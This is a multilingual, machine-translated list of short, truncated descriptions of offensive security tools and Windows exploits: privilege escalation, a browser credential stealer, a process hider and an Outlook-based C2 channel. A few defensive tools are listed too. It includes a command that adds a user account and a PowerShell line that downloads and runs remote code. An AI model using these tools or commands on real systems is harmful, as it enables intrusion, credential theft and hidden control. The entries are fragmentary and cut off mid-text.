COMahawk

COMahawk 権限昇格: CVE-2019-1405 と CVE-2019-1322 の武器化 Video Demo https://vimeo.com/373051209 使用法 リリースからコンパイルまたはダウンロード https://github.com/apt69/COMahawk/releases 1. COMahawk.exe を実行 2. ??? 3. うまくいけば利益 または 1. COMahawk.exe "実行するカスタムコマンド" 例: COMahawk.exe "net user /add test123 lol123 &" 2. ??? 3. うまくいけば利...

PyNightmare

PyNightmare CVE-2021-36934 別名 HiveNightmare/SeriousSAM の PoC。Python3 で完全に記述されています。 説明 CVE-2021-36934 は、@jonasLyk によって発見された最近の脆弱性であり、非管理者ユーザーがハッシュなどの非常にプライベートな情報を含むすべてのレジストリハイブをコピーすることを可能にし、権限昇格につながる可能性があります。 インスピレーション @GossiTheDog に触発された HiveNightmare 脆弱性のシンプルな PoC。 スコープ システム保護が有効になっているすべてのバージョンの...

ProcessHider

ProcessHider 제작자: M00nRise 중요 사항 이 도구는 침투 테스트 및 기타 화이트햇 활동에만 사용할 수 있습니다. 불법 사용은 절대 금지됩니다! 소개 ProcessHider는 작업 관리자 및 Process Explorer와 같은 모니터링 도구로부터 프로세스를 숨기도록 설계된 사후 침투 도구로, 관리자가 페이로드의 프로세스를 발견하지 못하도록 합니다. 이 도구는 OS 버전을 자동으로 감지하여 올바른 버전을 사용함으로써 32비트 및 64비트 버전 모두에서 작동합니다. ProcessHider는 EXE 파일 또는...

Windows-exploitation-Rejetto-HTTP-File-Server-HFS-2.3.x-CVE-2014-6287

このリポジトリには README がありません。...

Windows-exploitation-Apache-Tomcat-8.5.19-CVE-2019-0232-

このリポジトリには README がありません。...

FalconEye

FalconEye: 윈도우 프로세스 인젝션 실시간 탐지 소프트웨어 FalconEye는 실시간 프로세스 인젝션을 위한 윈도우 엔드포인트 탐지 소프트웨어입니다. 커널 모드 드라이버로서, 프로세스 인젝션이 발생하는 즉시실시간으로 탐지하는 것을 목표로 합니다. FalconEye는 커널 모드에서 실행되므로, 다양한 사용자 모드 후크를 회피하려는 프로세스 인젝션 기술에 대해 더 강력하고 신뢰할 수 있는 방어를 제공합니다. 발표 자료는 2021 Blackhat ASIA Arsenal과 슬라이드에서 확인할 수 있습니다. 프로젝트 개요 탐지 ...

CVE-2025-48799

説明 これは、Windows Update サービスの権限昇格の脆弱性である CVE-2025-48799 の PoC です。 この脆弱性は、ハードドライブを少なくとも2台搭載した Windows クライアント win11/win10 に影響します。マシンに複数のハードドライブがある場合、ストレージセンスを使用して新しいコンテンツの保存先を変更することが可能です。新しいアプリケーションの保存先がセカンダリドライブに変更されると、新しいアプリケーションのインストール中に wuauserv サービスがシンボリックリンクをチェックせずに任意のフォルダー削除を実行します...

DisableSMBCompression

DisableSMBCompression CVE-2020-0796 脆弱性の緩和策 - Active Directory 管理用テンプレート 新しい SMB3 の脆弱性について私たちが知っている限りでは、SMB3 サーバー向けに以下の緩和策が提供されています。 root@kitploit: Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters" DisableCompression -Type DWORD -Value 1 -Force...

chromepass

Chromepass - Chrome保存パスワードとCookieのハッキング デモを見る · バグを報告 · 機能リクエスト 目次 プロジェクトについて AV検出 はじめに 依存関係と要件 インストール 使い方 メール エラー、バグ、機能リクエスト 詳細情報 ライセンス デモ プロジェクトについて ChromepassはPythonベースのコンソールアプリケーションで、以下の機能を持つWindows実行可能ファイルを生成します。 Google Chrome, Chromium, Edge, Brave, Opera, Vivaldiの保存されたパスワードとCookieを復号化...

exploits-forsale-collateral-damage

collatpayload こちらがコードです solsticeartifacts feat:SolsticeペイロードサーバーとネットワークローディングのGamescriptを追加 .gitignore gitignoreを追加 LICENSE 初期コミット README.md feat:SolsticeペイロードサーバーとネットワークローディングのGamescriptを追加 collatpayload.sln こちらがコードです ntdll.def こちらがコードです ntdll.exp こちらがコードです ntdll.lib こちらがコードです...

CVE-2019-1458

CVE-2019-1458 Windows LPE エクスプロイト 注意 カーネル再起動ごとに悪用できるのは一度だけです!!!! スクリーンショット サポートされているバージョン Windows 2012 R2 テスト済み Windows 8 テスト済み Windows 2008 R2 x64 テスト済み Windows 7.1 x64 テスト済み Windows 7 x64 Windows 2012 x64 Windows 2008 x64 すべてのX32バージョンのシステムはサポートされていません 今時x32システムを使う人がいるでしょうか? 問題...

Windows_LPE_AFD_CVE-2023-21768

CVE-2023-21768 ローカル権限昇格 POC 著者: chompie & b33f デモンストレーション目的のみ。完全なエクスプロイトは、脆弱な Windows 11 22H2 システムで動作します。 書き込みプリミティブは、すべての脆弱なシステムで動作します。 使用法: root@kitploit: WindowsAFDLPECVE-2023-21768.exe ここで、 は昇格させるプロセスのプロセス ID（10進数）です。 これにより、対象プロセスが SYSTEM に昇格します。 I/O Ring LPE プリミティブコードは、Yarden Shafir による...

bitcracker

BitCracker BitCracker is the first open source password cracking tool for storage devices Hard Disk, USB Pendrive, SD card, etc... encrypted with BitLocker, an encryption feature available on Windows Vista, 7, 8.1 and 10 Ultimate, Pro and Enterprise editions. BitLocker offers a number of differen...

eviltree

EvilTree A standalone python3 remake of the classic "tree" command with the additional feature of searching for user provided keywords/regex in files, highlighting those that contain matches. Created for two main reasons: While searching for secrets in files of nested directory structures, being...

azureOutlookC2

Azure Outlook C2 基于Azure Outlook的命令与控制工具，利用Microsoft Graph API进行C2通信和数据外泄。 通过Outlook邮箱远程控制被入侵的Windows设备。 创建者：Bobby Cooke @0xBoku & Paul Ungur @C5pider CTI威胁更新（2022年2月13日） Elastic安全实验室发现活跃入侵活动正在野外使用SIESTAGRAPH。SIESTAGRAPH利用Microsoft Graph API通过Outlook和OneDrive进行命令与控制。请查看下方关于Azure Outlook...

pytmipe

PYTMIPE & TMIPE PYTMIPE PYthon library for Token Manipulation and Impersonation for Privilege Escalation is a Python 3 library for manipulating Windows tokens and managing impersonations in order to gain more privileges on Windows. TMIPE is the python 3 client which uses the pytmipe library...

pytmipe

PYTMIPE & TMIPE PYTMIPE 토큰 조작 및 가장을 통한 권한 상승을 위한 Python 라이브러리는 Windows 토큰을 조작하고 가장을 관리하여 Windows에서 더 많은 권한을 얻기 위한 Python 3 라이브러리입니다. TMIPE는 pytmipe 라이브러리를 사용하는 Python 3 클라이언트입니다. Content python 클라이언트 : tmipe python3 tmipe.py python 라이브러리 : pytmipe. 이 프로젝트를 다른 프로젝트에 포함시키는 데 유용합니다. pytinstaller 예제 ...

chainoffools

CryptoAPI CVE-2020-0601：Windows CryptoAPI 欺骗漏洞利用。更多信息请参阅我们的博客文章。 安装依赖 root@kitploit: pip install -U -r requirements.txt 证书生成适用于最高 1.0.2u 版本的 OpenSSL。 CA 证书 我们使用了 USERTrust ECC Certification Authority，但也可以是任何基于 P-384 曲线的根证书。 为了生成与根证书公钥匹配的私钥，我们使用了脚本 gen-key.py （适用于 Python 3.6 及以上版本）： root@kitploit:...

CVE-2014-4113

CVE-2014-4113 PowerShell CVE-2014-4113 x64 Windows のみ iex New-Object Net.WebClient.DownloadString'http://bit.ly/1qosbJH'...

CVE-2021-34527

PrintNightmare CVE-2021-34527 このPrintNightmareエクスプロイトのバージョンは、Cube0x0によって作成されたコードに基づいています。以下の機能があります。 複数のホストを標的にする能力。 ペイロード配信用の組み込みSMBサーバーを備えており、オープンなファイル共有が不要。 エクスプロイトにはMS-RPRNおよびMS-PARプロトコルの両方が含まれています（ CMD引数で定義 ）。 @gentilkiwiのUNCバイパス技術を実装。 インストール 実行する前に、最新バージョンのimpacketをインストールしてください：...